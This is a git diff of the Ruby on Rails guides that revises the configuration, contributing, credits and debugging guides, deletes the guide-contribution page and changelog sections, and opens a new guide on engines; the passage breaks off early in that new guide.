+config.active_resource.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Active Resource. Set to nil to disable logging. +* +config.active_resource.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Active Resource. Set to +nil+ to disable logging. h4. Configuring Active Support @@ -398,7 +447,7 @@ Some parts of Rails can also be configured externally by supplying environment v h3. Using Initializer Files -After loading the framework and any gems and plugins in your application, Rails turns to loading initializers. An initializer is any file of Ruby code stored under +config/initializers+ in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks, plugins and gems are loaded, such as options to configure settings for these parts. +After loading the framework and any gems and plugins in your application, Rails turns to loading initializers. An initializer is any Ruby file stored under +config/initializers+ in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks, plugins and gems are loaded, such as options to configure settings for these parts. NOTE: You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the initializers folder on down. @@ -406,18 +455,37 @@ TIP: If you have any ordering dependency in your initializers, you can control t h3. Initialization events -Rails has 5 initialization events which can be hooked into (listed in order that they are ran): +Rails has 5 initialization events which can be hooked into (listed in the order that they are ran): * +before_configuration+: This is run as soon as the application constant inherits from +Rails::Application+. The +config+ calls are evaluated before this happens. * +before_initialize+: This is run directly before the initialization process of the application occurs with the +:bootstrap_hook+ initializer near the beginning of the Rails initialization process. -* +to_prepare+: Run after the initializers are ran for all Railties (including the application itself), but before eager loading and the middleware stack is built. +* +to_prepare+: Run after the initializers are ran for all Railties (including the application itself), but before eager loading and the middleware stack is built. More importantly, will run upon every request in +development+, but only once (during boot-up) in +production+ and +test+. -* +before_eager_load+: This is run directly before eager loading occurs, which is the default behaviour for the _production_ environment and not for the +development+ enviroment. +* +before_eager_load+: This is run directly before eager loading occurs, which is the default behaviour for the _production_ environment and not for the +development+ environment. * +after_initialize+: Run directly after the initialization of the application, but before the application initializers are run. +To define an event for these hooks, use the block syntax within a +Rails::Aplication+, +Rails::Railtie+ or +Rails::Engine+ subclass: + +<ruby> +module YourApp + class Application < Rails::Application + config.before_initialize do + # initialization code goes here + end + end +end +</ruby> + +Alternatively, you can also do it through the +config+ method on the +Rails.application+ object: + +<ruby> +Rails.application.config.before_initialize do + # initialization code goes here +end +</ruby> WARNING: Some parts of your application, notably observers and routing, are not yet set up at the point where the +after_initialize+ block is called. @@ -437,7 +505,7 @@ Initializers defined using the +initializer+ method will be ran in the order the WARNING: You may put your initializer before or after any other initializer in the chain, as long as it is logical. Say you have 4 initializers called "one" through "four" (defined in that order) and you define "four" to go _before_ "four" but _after_ "three", that just isn't logical and Rails will not be able to determine your initializer order. -The block's argument of the +initialize+ is the instance of the application itself, and so we can access the configuration on it by using the +config+ method as this initializer does. +The block argument of the +initializer+ method is the instance of the application itself, and so we can access the configuration on it by using the +config+ method as done in the example. Because +Rails::Application+ inherits from +Rails::Railtie+ (indirectly), you can use the +initializer+ method in +config/application.rb+ to define initializers for the application. @@ -450,21 +518,21 @@ Serves as a placeholder so that +:load_environment_config+ can be defined to run *+load_active_support+* Requires +active_support/dependencies+ which sets up the basis for Active Support. Optionally requires +active_support/all+ if +config.active_support.bare+ is un-truthful, which is the default. -*+preload_frameworks+* Will load all autoload dependencies of Rails automatically if +config.preload_frameworks+ is +true+ or "truthful". By default this configuration option is disabled. In Rails, when internal classes are referenced for the first time they are autoloaded. +:preload_frameworks+ loads all of this at once on initialization. +*+preload_frameworks+* Loads all autoload dependencies of Rails automatically if +config.preload_frameworks+ is +true+ or "truthful". By default this configuration option is disabled. In Rails, when internal classes are referenced for the first time they are autoloaded. +:preload_frameworks+ loads all of this at once on initialization. -*+initialize_logger+* Initializes the logger (an +ActiveSupport::BufferedLogger+ object) for the application and makes it accessible at +Rails.logger+, providing that there's no initializer inserted before this point that has defined +Rails.logger+. +*+initialize_logger+* Initializes the logger (an +ActiveSupport::BufferedLogger+ object) for the application and makes it accessible at +Rails.logger+, provided that no initializer inserted before this point has defined +Rails.logger+. -*+initialize_cache+* If +RAILS_CACHE+ isn't yet set, initializes the cache by referencing the value in +config.cache_store+ and stores the outcome as +RAILS_CACHE+. If this object responds to the +middleware+ method, its middleware is inserted before +Rack::Runtime+ in the middleware stack. +*+initialize_cache+* If +RAILS_CACHE+ isn't set yet, initializes the cache by referencing the value in +config.cache_store+ and stores the outcome as +RAILS_CACHE+. If this object responds to the +middleware+ method, its middleware is inserted before +Rack::Runtime+ in the middleware stack. *+set_clear_dependencies_hook+* Provides a hook for +active_record.set_dispatch_hooks+ to use, which will run before this initializer. This initializer -- which runs only if +cache_classes+ is set to +false+ -- uses +ActionDispatch::Callbacks.after+ to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request. -*+initialize_dependency_mechanism+* If +config.cache_classes+ is set to +true+, configures +ActiveSupport::Dependencies.mechanism+ to +require+ dependencies rather than +load+ them. +*+initialize_dependency_mechanism+* If +config.cache_classes+ is true, configures +ActiveSupport::Dependencies.mechanism+ to +require+ dependencies rather than +load+ them. *+bootstrap_hook+* Runs all configured +before_initialize+ blocks. *+i18n.callbacks+* In the development environment, sets up a +to_prepare+ callback which will call +I18n.reload!+ if any of the locales have changed since the last request. In production mode this callback will only run on the first request. -*+active_support.initialize_whiny_nils+* Will require +active_support/whiny_nil+ if +config.whiny_nils+ is set to +true+. This file will output errors such as: +*+active_support.initialize_whiny_nils+* Requires +active_support/whiny_nil+ if +config.whiny_nils+ is true. This file will output errors such as: <plain> Called id for nil, which would mistakenly be 4 -- if you really wanted the id of nil, use object_id @@ -480,19 +548,19 @@ The error occurred while evaluating nil.each *+active_support.deprecation_behavior+* Sets up deprecation reporting for environments, defaulting to +:log+ for development, +:notify+ for production and +:stderr+ for test. If a value isn't set for +config.active_support.deprecation+ then this initializer will prompt the user to configure this line in the current environment's +config/environments+ file. Can be set to an array of values. -*+active_support.initialize_time_zone+* Sets the default time zone for the application based off the +config.time_zone+ setting, which defaults to "UTC". +*+active_support.initialize_time_zone+* Sets the default time zone for the application based on the +config.time_zone+ setting, which defaults to "UTC". *+action_dispatch.configure+* Configures the +ActionDispatch::Http::URL.tld_length+ to be set to the value of +config.action_dispatch.tld_length+. -*+action_view.cache_asset_ids+* Will set +ActionView::Helpers::AssetTagHelper::AssetPaths.cache_asset_ids+ to +false+ when Active Support loads, but only if +config.cache_classes+ is too. +*+action_view.cache_asset_ids+* Sets +ActionView::Helpers::AssetTagHelper::AssetPaths.cache_asset_ids+ to +false+ when Active Support loads, but only if +config.cache_classes+ is too. -*+action_view.javascript_expansions+* Registers the expansions set up by +config.action_view.javascript_expansions+ and +config.action_view.stylesheet_expansions+ to be recognised by Action View and therefore usable in the views. +*+action_view.javascript_expansions+* Registers the expansions set up by +config.action_view.javascript_expansions+ and +config.action_view.stylesheet_expansions+ to be recognized by Action View and therefore usable in the views. *+action_view.set_configs+* Sets up Action View by using the settings in +config.action_view+ by +send+'ing the method names as setters to +ActionView::Base+ and passing the values through. -*+action_controller.logger+* Sets +ActionController::Base.logger+ -- if it's not already set -- to +Rails.logger+. +*+action_controller.logger+* Sets +ActionController::Base.logger+ -- if it's not already set -- to +Rails.logger+. -*+action_controller.initialize_framework_caches+* Sets +ActionController::Base.cache_store+ -- if it's not already set -- to +RAILS_CACHE+. +*+action_controller.initialize_framework_caches+* Sets +ActionController::Base.cache_store+ -- if it's not already set -- to +RAILS_CACHE+. *+action_controller.set_configs+* Sets up Action Controller by using the settings in +config.action_controller+ by +send+'ing the method names as setters to +ActionController::Base+ and passing the values through. @@ -506,9 +574,9 @@ The error occurred while evaluating nil.each *+active_record.initialize_database+* Loads the database configuration (by default) from +config/database.yml+ and establishes a connection for the current environment. -*+active_record.log_runtime+* Includes +ActiveRecord::Railties::ControllerRuntime+ which is responsible for reporting the length of time Active Record calls took for the request back to the logger. +*+active_record.log_runtime+* Includes +ActiveRecord::Railties::ControllerRuntime+ which is responsible for reporting the time taken by Active Record calls for the request back to the logger. -*+active_record.set_dispatch_hooks+* If +config.cache_classes+ is set to false, all reloadable connections to the database will be reset. +*+active_record.set_dispatch_hooks+* Resets all reloadable connections to the database if +config.cache_classes+ is set to +false+. *+action_mailer.logger+* Sets +ActionMailer::Base.logger+ -- if it's not already set -- to +Rails.logger+. @@ -520,7 +588,7 @@ The error occurred while evaluating nil.each *+set_load_path+* This initializer runs before +bootstrap_hook+. Adds the +vendor+, +lib+, all directories of +app+ and any paths specified by +config.load_paths+ to +$LOAD_PATH+. -*+set_autoload_path+* This initializer runs before +bootstrap_hook+. Adds all sub-directories of +app+ and paths specified by +config.autoload_paths+ to +ActiveSupport::Dependencies.autoload_paths+. +*+set_autoload_paths+* This initializer runs before +bootstrap_hook+. Adds all sub-directories of +app+ and paths specified by +config.autoload_paths+ to +ActiveSupport::Dependencies.autoload_paths+. *+add_routing_paths+* Loads (by default) all +config/routes.rb+ files (in the application and railties, including engines) and sets up the routes for the application. @@ -536,10 +604,6 @@ The error occurred while evaluating nil.each *+load_config_initializers+* Loads all Ruby files from +config/initializers+ in the application, railties and engines. The files in this directory can be used to hold configuration settings that should be made after all of the frameworks and plugins are loaded. -NOTE: You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the +initializers+ folder on down. - -TIP: If you have any ordering dependency in your initializers, you can control the load order by naming. For example, +01_critical.rb+ will be loaded before +02_normal.rb+. - *+engines_blank_point+* Provides a point-in-initialization to hook into if you wish to do anything before engines are loaded. After this point, all railtie and engine initializers are ran. *+add_generator_templates+* Finds templates for generators at +lib/templates+ for the application, railities and engines and adds these to the +config.generators.templates+ setting, which will make the templates available for all generators to reference. @@ -552,18 +616,10 @@ TIP: If you have any ordering dependency in your initializers, you can control t *+build_middleware_stack+* Builds the middleware stack for the application, returning an object which has a +call+ method which takes a Rack environment object for the request. -*+eager_load!+* If +config.cache_classes+ is +true+, runs the +config.before_eager_load+ hooks and then calls +eager_load!+ which will load all the Ruby files from +config.eager_load_paths+. +*+eager_load!+* If +config.cache_classes+ is true, runs the +config.before_eager_load+ hooks and then calls +eager_load!+ which will load all the Ruby files from +config.eager_load_paths+. *+finisher_hook+* Provides a hook for after the initialization of process of the application is complete, as well as running all the +config.after_initialize+ blocks for the application, railties and engines. *+set_routes_reloader+* Configures Action Dispatch to reload the routes file using +ActionDispatch::Callbacks.to_prepare+. -*+disable_dependency_loading+* Disables the automatic dependency loading if the +config.cache_classes+ is set to +true+ and +config.dependency_loading+ is set to +false+. - -h3. Changelog - -* December 3, 2010: Added initialization events for Rails 3 ("Ryan Bigg":http://ryanbigg.com) -* November 26, 2010: Removed all config settings not available in Rails 3 ("Ryan Bigg":http://ryanbigg.com) -* August 13, 2009: Updated with config syntax and added general configuration options by "John Pignata" -* January 3, 2009: First reasonably complete draft by "Mike Gunderloy":credits.html#mgunderloy -* November 5, 2008: Rough outline by "Mike Gunderloy":credits.html#mgunderloy +*+disable_dependency_loading+* Disables the automatic dependency loading if the +config.cache_classes+ is set to true and +config.dependency_loading+ is set to false. diff --git a/railties/guides/source/contribute.textile b/railties/guides/source/contribute.textile deleted file mode 100644 index 4bd527d4c7..0000000000 --- a/railties/guides/source/contribute.textile +++ /dev/null @@ -1,70 +0,0 @@ -h2. Contribute to the Rails Guides - -Rails Guides aim to improve the Rails documentation and to make the barrier to entry as low as possible. A reasonably experienced developer should be able to use the guides to come up to speed on Rails quickly. Our sponsors have contributed prizes for those who write an entire guide, but there are many other ways to contribute. - -endprologue. - -h3. How to Contribute? - -* We have an open commit policy: anyone is welcome to contribute and to review contributions. -* "docrails is hosted on GitHub":https://github.com/lifo/docrails and has public write access. -* Guides are written in Textile, and reside at +railties/guides/source+ in the docrails project. -* Follow the "Rails Guides Conventions":https://wiki.github.com/lifo/docrails/rails-guides-conventions. -* Assets are stored in the +railties/guides/assets+ directory. -* Sample format : "Active Record Associations":https://github.com/lifo/docrails/blob/3e56a3832415476fdd1cb963980d0ae390ac1ed3/railties/guides/source/association_basics.textile. -* Sample output : "Active Record Associations":association_basics.html. -* You can build the Guides during testing by running +bundle exec rake generate_guides+ in the +railties+ directory. -* You're encouraged to validate XHTML for the generated guides before commiting your changes by running +bundle exec rake validate_guides+ in the +railties+ directory. -* Edge guides "can be consulted online":http://edgeguides.rubyonrails.org/. That website is generated periodically from docrails. - -h3. What to Contribute? - -* We need authors, editors, proofreaders, and translators. Adding a single paragraph of quality content to a guide is a good way to get started. -* The easiest way to start is by improving an existing guide: -** Improve the structure to make it more coherent. -** Add missing information. -** Correct any factual errors. -** Fix typos or improve style. -** Bring it up to date with the latest Edge Rails. -* We're also open to suggestions for entire new guides: -** Contact lifo or fxn to get your idea approved. See the Contact section below. -** If you're the main author on a significant guide, you're eligible for the prizes. - -h3. How is the process? - -* The preferred way to contribute is to commit to docrails directly. -* A new guide is only edited by its author until finished though. In that case feedback can be given in its LH ticket. -* If you are writing a new guide freely commit to docrails partial work and ping lifo or fxn when done with a first draft. -* Guides reviewers will then provide feedback, some of it possibly in form of direct commits to agilize the process. -* Eventually the guide will be approved and added to the index. - -h3. Prizes - -For each completed guide, the lead contributor will receive all of the following prizes: - -* $200 from Caboose Rails Documentation Project. -* 1 year of GitHub Micro account worth $84. -* 1 year of RPM Basic (Production performance management) for up to 10 hosts worth 12 months x $40 per host x 10 hosts = $4800. And also, savings of $45 per host per month over list price to upgrade to advanced product. - -h3. Rules - -* Guides are licensed under a Creative Commons Attribution-Share Alike 3.0 License. -* If you're not sure whether a guide is actively being worked on, stop by IRC and ask. -* If the same guide writer wants to write multiple guides, that's ideally the situation we'd love to be in! However, that guide writer will only receive the cash prize for all the subsequent guides (and not the GitHub or RPM prizes). -* Our review team will have the final say on whether the guide is complete and of good enough quality. - -All authors should read and follow the "Rails Guides Conventions":https://wiki.github.com/lifo/docrails/rails-guides-conventions and the "Rails API Documentation Conventions":https://wiki.github.com/lifo/docrails/rails-api-documentation-conventions. - -h3. Translations - -The translation effort for the Rails Guides is just getting underway. We know about projects to translate the Guides into Spanish, Portuguese, Polish, and French. For more details or to get involved see the "Translating Rails Guides":https://wiki.github.com/lifo/docrails/translating-rails-guides page. - -h3. Mailing List - -"Ruby on Rails: Documentation":http://groups.google.com/group/rubyonrails-docs is the mailing list for all the guides/documentation related discussions. - -h3. Contact - -* IRC : #docrails channel in irc.freenode.net -* Twitter: "@docrails":http://twitter.com/docrails, "@lifo":http://twitter.com/lifo, "@fxn":http://twitter.com/fxn -* Email : pratiknaik aT gmail, fxn aT hashref dot com diff --git a/railties/guides/source/contributing_to_ruby_on_rails.textile b/railties/guides/source/contributing_to_ruby_on_rails.textile index 5eb925d7d2..5848172510 100644 --- a/railties/guides/source/contributing_to_ruby_on_rails.textile +++ b/railties/guides/source/contributing_to_ruby_on_rails.textile @@ -24,7 +24,7 @@ If you've found a problem in Ruby on Rails which is not a security risk do a sea At the minimum, your issue report needs a title and descriptive text. But that's only a minimum. You should include as much relevant information as possible. You need to at least post the code sample that has the issue. Even better is to include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself - and others - to replicate the bug and figure out a fix. -Then don't get your hopes up. Unless you have a "Code Red, Mission Critical, The World is Coming to an End" kind of bug, you're creating this issue report in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the issue report will automatically see any activity or that others will jump to fix it. Creating a issue like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with a "I'm having this problem too" comment. +Then don't get your hopes up. Unless you have a "Code Red, Mission Critical, The World is Coming to an End" kind of bug, you're creating this issue report in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the issue report will automatically see any activity or that others will jump to fix it. Creating an issue like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with a "I'm having this problem too" comment. h4. Special Treatment for Security Issues @@ -90,7 +90,7 @@ This command will install all dependencies except the MySQL and PostgreSQL Ruby $ rake test </shell> -You can also run tests for an specific framework, like Action Pack, by going into its directory and executing the same command: +You can also run tests for a specific framework, like Action Pack, by going into its directory and executing the same command: <shell> $ cd actionpack @@ -104,7 +104,6 @@ $ cd railties $ TEST_DIR=generators rake test </shell> - h4. Warnings The test suite runs with warnings enabled. Ideally Ruby on Rails should issue no warning, but there may be a few, and also some from third-party libraries. Please ignore (or fix!) them if any, and submit patches that do not issue new warnings. @@ -121,6 +120,10 @@ The test suite of Active Record attempts to run four times, once for SQLite3, on WARNING: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, and SQLite3. Subtle differences between the various adapters have been behind the rejection of many patches that looked OK when tested only against MySQL. +h5. Set up Database Configuration + +The Active Record test suite requires a custom config file: +activerecord/test/config.yml+. An example is provided in +activerecord/test/config.example.yml+ which can be copied and used as needed for your environment. + h5. SQLite3 The gem +sqlite3-ruby+ does not belong to the "db" group indeed, if you followed the instructions above you're ready. This is how you run the Active Record test suite only for SQLite3: @@ -201,11 +204,11 @@ You can also invoke +test_jdbcmysql+, +test_jdbcsqlite3+ or +test_jdbcpostgresql h4. Older versions of Ruby on Rails -If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 2-3-stable branch: +If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 3-0-stable branch: <shell> -$ git branch --track 2-3-stable origin/2-3-stable -$ git checkout 2-3-stable +$ git branch --track 3-0-stable origin/3-0-stable +$ git checkout 3-0-stable </shell> TIP: You may want to "put your git branch name in your shell prompt":http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/ to make it easier to remember which version of the code you're working with. @@ -258,15 +261,17 @@ h3. Contributing to the Rails Documentation Ruby on Rails has two main sets of documentation: The guides help you to learn Ruby on Rails, and the API is a reference. -You can create an issue in GitHub issues to fix or expand documentation. However, if you're confident about your changes you can push them yourself directly via "docrails":https://github.com/lifo/docrails/tree/master. docrails is a branch with an *open commit policy* and public write access. Commits to docrails are still reviewed, but that happens after they are pushed. docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation. +You can help improve the Rails guides by making them more coherent, adding missing information, correcting factual errors, fixing typos, bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see "Translating Rails Guides":https://wiki.github.com/lifo/docrails/translating-rails-guides. -When working with documentation, please take into account the "API Documentation Guidelines":api_documentation_guidelines.html and the "Ruby on Rails Guides Guidelines":ruby_on_rails_guides_guidelines.html. +If you're confident about your changes, you can push them yourself directly via "docrails":https://github.com/lifo/docrails. docrails is a branch with an *open commit policy* and public write access. Commits to docrails are still reviewed, but that happens after they are pushed. docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation. -NOTE: As explained above, ordinary code patches should have proper documentation coverage. docrails is only used for isolated documentation improvements. +If you are unsure of the documentation changes, you can create an issue in the "Rails":https://github.com/rails/rails/issues issues tracker on GitHub. -WARNING: docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. +When working with documentation, please take into account the "API Documentation Guidelines":api_documentation_guidelines.html and the "Ruby on Rails Guides Guidelines":ruby_on_rails_guides_guidelines.html. + +NOTE: As explained earlier, ordinary code patches should have proper documentation coverage. docrails is only used for isolated documentation improvements. -If you have an idea for a new guide you can refer to the "contribution page":contribute.html for instructions on getting involved. +WARNING: docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. Also, CHANGELOGs should never be edited in docrails. h3. Contributing to the Rails Code @@ -285,7 +290,7 @@ $ cd rails $ git checkout -b my_new_branch </shell> -It doesn’t really matter what name you use, because this branch will only exist on your local computer. +It doesn’t really matter what name you use, because this branch will only exist on your local computer and your personal repository on Github. It won't be part of the Rails git repository. h4. Write Your Code @@ -309,7 +314,7 @@ Rails follows a simple set of coding style conventions. * a = b and not a=b. * Follow the conventions you see used in the source already. -These are some guidelines and please use your best judgement in using them. +These are some guidelines and please use your best judgment in using them. h4. Sanity Check @@ -350,7 +355,7 @@ Navigate to the Rails "GitHub repository":https://github.com/rails/rails and pre Add the new remote to your local repository on your local machine: <shell> -$ git remote add mine https://<your user name>@github.com/<your user name>/rails.git +$ git remote add mine git@github.com:<your user name>/rails.git </shell> Push to your remote: @@ -361,7 +366,7 @@ $ git push mine my_new_branch h4. Issue a Pull Request -Navigate to the Rails repository you just pushed to (e.g. https://github.com/<your user name>/rails) and press "Pull Request" in the upper right hand corner. +Navigate to the Rails repository you just pushed to (e.g. https://github.com/your-user-name/rails) and press "Pull Request" in the upper right hand corner. Write your branch name in branch field (is filled with master by default) and press "Update Commit Range" @@ -382,13 +387,3 @@ And then...think about your next contribution! h3. Rails Contributors All contributions, either via master or docrails, get credit in "Rails Contributors":http://contributors.rubyonrails.org. - -h3. Changelog - -* May 12, 2011: Modified to prefer topic branches instead of master branch for users contributions by "Guillermo Iguaran":http://quillarb.org -* April 29, 2011: Reflect GitHub Issues and Pull Request workflow by "Dan Pickett":http://www.enlightsolutions.com -* April 14, 2011: Modified Contributing to the Rails Code section to add '[#ticket_number state:commited]' on patches commit messages by "Sebastian Martinez":http://wyeworks.com -* December 28, 2010: Complete revision by "Xavier Noria":credits.html#fxn -* April 6, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* August 1, 2009: Updates/amplifications by "Mike Gunderloy":credits.html#mgunderloy -* March 2, 2009: Initial draft by "Mike Gunderloy":credits.html#mgunderloy diff --git a/railties/guides/source/credits.html.erb b/railties/guides/source/credits.html.erb index 65e396be95..da6bd6acdf 100644 --- a/railties/guides/source/credits.html.erb +++ b/railties/guides/source/credits.html.erb @@ -9,18 +9,14 @@ Ruby on Rails Guides: Credits <% end %> -<h3 class="section">Rails Documentation Team</h3> +<h3 class="section">Rails Guides Reviewers</h3> -<%= author('Mike Gunderloy', 'mgunderloy') do %> - Mike Gunderloy is a consultant with <a href="http://www.actionrails.com">ActionRails</a>. He brings 25 years of experience in a variety of languages to bear on his current work with Rails. His near-daily links and other blogging can be found at <a href="http://afreshcup.com">A Fresh Cup</a> and he <a href="http://twitter.com/MikeG1">twitters</a> too much. -<% end %> - -<%= author('Pratik Naik', 'lifo') do %> - Pratik Naik is a Ruby on Rails consultant with <a href="http://www.actionrails.com">ActionRails</a> and also a member of the <a href="http://rubyonrails.org/core">Rails core team</a>. He maintains a blog at <a href="http://m.onkey.org">has_many :bugs, :through => :rails</a> and has an active <a href="http://twitter.com/lifo">twitter account</a>. +<%= author('Vijay Dev', 'vijaydev', 'vijaydev.jpg') do %> + Vijayakumar, found as Vijay Dev on the web, is a web applications developer and an open source enthusiast who lives in Chennai, India. He started using Rails in 2009 and began actively contributing to Rails documentation in late 2010. He <a href="https://twitter.com/vijay_dev">tweets</a> a lot and also <a href="http://vijaydev.wordpress.com">blogs</a>. <% end %> <%= author('Xavier Noria', 'fxn', 'fxn.png') do %> - Xavier Noria has been into Ruby on Rails since 2005. He is a Rails committer and enjoys combining his passion for Rails and his past life as a proofreader of math textbooks. Xavier is currently a Ruby on Rails consultant. Oh, he also <a href="http://twitter.com/fxn">tweets</a> and can be found everywhere as "fxn". + Xavier Noria has been into Ruby on Rails since 2005. He is a Rails core team member and enjoys combining his passion for Rails and his past life as a proofreader of math textbooks. Xavier is currently an independent Ruby on Rails consultant. Oh, he also <a href="http://twitter.com/fxn">tweets</a> and can be found everywhere as "fxn". <% end %> <h3 class="section">Rails Guides Designers</h3> @@ -31,6 +27,10 @@ Ruby on Rails Guides: Credits <h3 class="section">Rails Guides Authors</h3> +<%= author('Ryan Bigg', 'radar', 'radar.png') do %> +Ryan Bigg works as a consultant at <a href="http://rubyx.com">RubyX</a> and has been working with Rails since 2006. He's co-authoring a book called <a href="http://manning.com/katz">Rails 3 in Action</a> and he's written many gems which can be seen on <a href="http://github.com/radar">his GitHub page</a> and he also tweets prolifically as <a href="http://twitter.com/ryanbigg">@ryanbigg</a>. +<% end %> + <%= author('Frederick Cheung', 'fcheung') do %> Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006. He is based in Cambridge (UK) and when not consuming fine ales he blogs at <a href="http://www.spacevatican.org">spacevatican.org</a>. <% end %> @@ -43,6 +43,10 @@ Ruby on Rails Guides: Credits Jeff Dean is a software engineer with <a href="http://pivotallabs.com">Pivotal Labs</a>. <% end %> +<%= author('Mike Gunderloy', 'mgunderloy') do %> + Mike Gunderloy is a consultant with <a href="http://www.actionrails.com">ActionRails</a>. He brings 25 years of experience in a variety of languages to bear on his current work with Rails. His near-daily links and other blogging can be found at <a href="http://afreshcup.com">A Fresh Cup</a> and he <a href="http://twitter.com/MikeG1">twitters</a> too much. +<% end %> + <%= author('Mikel Lindsaar', 'raasdnil') do %> Mikel Lindsaar has been working with Rails since 2006 and is the author of the Ruby <a href="https://github.com/mikel/mail">Mail gem</a> and core contributor (he helped re-write Action Mailer's API). Mikel is the founder of <a href="http://rubyx.com/">RubyX</a>, has a <a href="http://lindsaar.net/">blog</a> and <a href="http://twitter.com/raasdnil">tweets</a>. <% end %> @@ -55,6 +59,10 @@ Ruby on Rails Guides: Credits James Miller is a software developer for <a href="http://www.jk-tech.com">JK Tech</a> in San Diego, CA. You can find James on GitHub, Gmail, Twitter, and Freenode as "bensie". <% end %> +<%= author('Pratik Naik', 'lifo') do %> + Pratik Naik is a Ruby on Rails consultant with <a href="http://www.actionrails.com">ActionRails</a> and also a member of the <a href="http://rubyonrails.org/core">Rails core team</a>. He maintains a blog at <a href="http://m.onkey.org">has_many :bugs, :through => :rails</a> and has an active <a href="http://twitter.com/lifo">twitter account</a>. +<% end %> + <%= author('Emilio Tagua', 'miloops') do %> Emilio Tagua —a.k.a. miloops— is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist. Cofounder of <a href="http://eventioz.com">Eventioz</a>. He has been using Rails since 2006 and contributing since early 2008. Can be found at gmail, twitter, freenode, everywhere as "miloops". <% end %> diff --git a/railties/guides/source/debugging_rails_applications.textile b/railties/guides/source/debugging_rails_applications.textile index 6f028805d6..3552c68418 100644 --- a/railties/guides/source/debugging_rails_applications.textile +++ b/railties/guides/source/debugging_rails_applications.textile @@ -127,7 +127,7 @@ When something is logged it's printed into the corresponding log if the log leve The available log levels are: +:debug+, +:info+, +:warn+, +:error+, and +:fatal+, corresponding to the log level numbers from 0 up to 4 respectively. To change the default log level, use <ruby> -config.log_level = Logger::WARN # In any environment initializer, or +config.log_level = :warn # In any environment initializer, or Rails.logger.level = 0 # at any time </ruby> @@ -480,11 +480,7 @@ class Author < ActiveRecord::Base def find_recent_comments(limit = 10) debugger - @recent_comments ||= comments.find( - :all, - :conditions => ["created_at > ?", 1.week.ago], - :limit => limit - ) + @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit) end end </ruby> @@ -493,7 +489,7 @@ TIP: You can use ruby-debug while using +rails console+. Just remember to +requi <shell> $ rails console -Loading development environment (Rails 2.1.0) +Loading development environment (Rails 3.1.0) >> require "ruby-debug" => [] >> author = Author.first @@ -507,15 +503,15 @@ With the code stopped, take a look around: <shell> (rdb:1) list -[6, 15] in /PathTo/project/app/models/author.rb +[2, 9] in /PathTo/project/app/models/author.rb + 2 has_one :editorial + 3 has_many :comments + 4 + 5 def find_recent_comments(limit = 10) 6 debugger - 7 @recent_comments ||= comments.find( - 8 :all, - 9 :conditions => ["created_at > ?", 1.week.ago], - 10 :limit => limit -=> 11 ) - 12 end - 13 end +=> 7 @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit) + 8 end + 9 end </shell> You are at the end of the line, but... was this line executed? You can inspect the instance variables. @@ -716,10 +712,3 @@ h3. References * "ruby-debug cheat sheet":http://cheat.errtheblog.com/s/rdebug/ * "Ruby on Rails Wiki: How to Configure Logging":http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging * "Bleak House Documentation":http://blog.evanweaver.com/files/doc/fauna/bleak_house/files/README.html - -h3. Changelog - -* April 4, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* November 3, 2008: Accepted for publication. Added RJS, memory leaks and plugins chapters by "Emilio Tagua":credits.html#miloops -* October 19, 2008: Copy editing pass by "Mike Gunderloy":credits.html#mgunderloy -* September 16, 2008: initial version by "Emilio Tagua":credits.html#miloops diff --git a/railties/guides/source/engines.textile b/railties/guides/source/engines.textile new file mode 100644 index 0000000000..da56f3d0ed --- /dev/null +++ b/railties/guides/source/engines.textile @@ -0,0 +1,606 @@ +h2. Getting Started with Engines + +In this guide you will learn about engines and how they can be used to provide additional functionality to their host applications through a clean and very easy-to-use interface. You will learn the following things in this guide: + +* What makes an engine +* How to generate an engine +* Building features for the engine +* Hooking the engine into an application +* Overriding engine functionality in the application + +endprologue. + +h3. What are engines? + +Engines can be considered miniature applications that provide functionality to their host applications. A Rails application is actually just a "supercharged" engine, with the +Rails::Application+ class inheriting from +Rails::Engine+. Therefore, engines and applications share common functionality but are at the same time two separate beasts. Engines and applications also share a common structure, as you'll see throughout this guide. + +Engines are also closely related to plugins where the two share a common +lib+ directory structure and are both generated using the +rails plugin new+ generator. + +The engine that will be generated for this guide will be called "blorgh". The engine will provide blogging functionality to its host applications, allowing for new posts and comments to be created. For now, you will be working solely within the engine itself and in later sections you'll see how to hook it into an application. + +Engines can also be isolated from their host applications. This means that an application is able to have a path provided by a routing helper such as +posts_path+ and use an engine also that provides a path also called +posts_path+, and the two would not clash. Along with this, controllers, models and table names are also namespaced. You'll see how to do this later in this guide. + +To see demonstrations of other engines, check out "Devise":https://github.com/plataformatec/devise, an engine that provides authentication for its parent applications, or "Forem":https://github.com/radar/forem, an engine that provides forum functionality. + +Finally, engines would not have be possible without the work of James Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever meet them, don't forget to say thanks! + +h3. Generating an 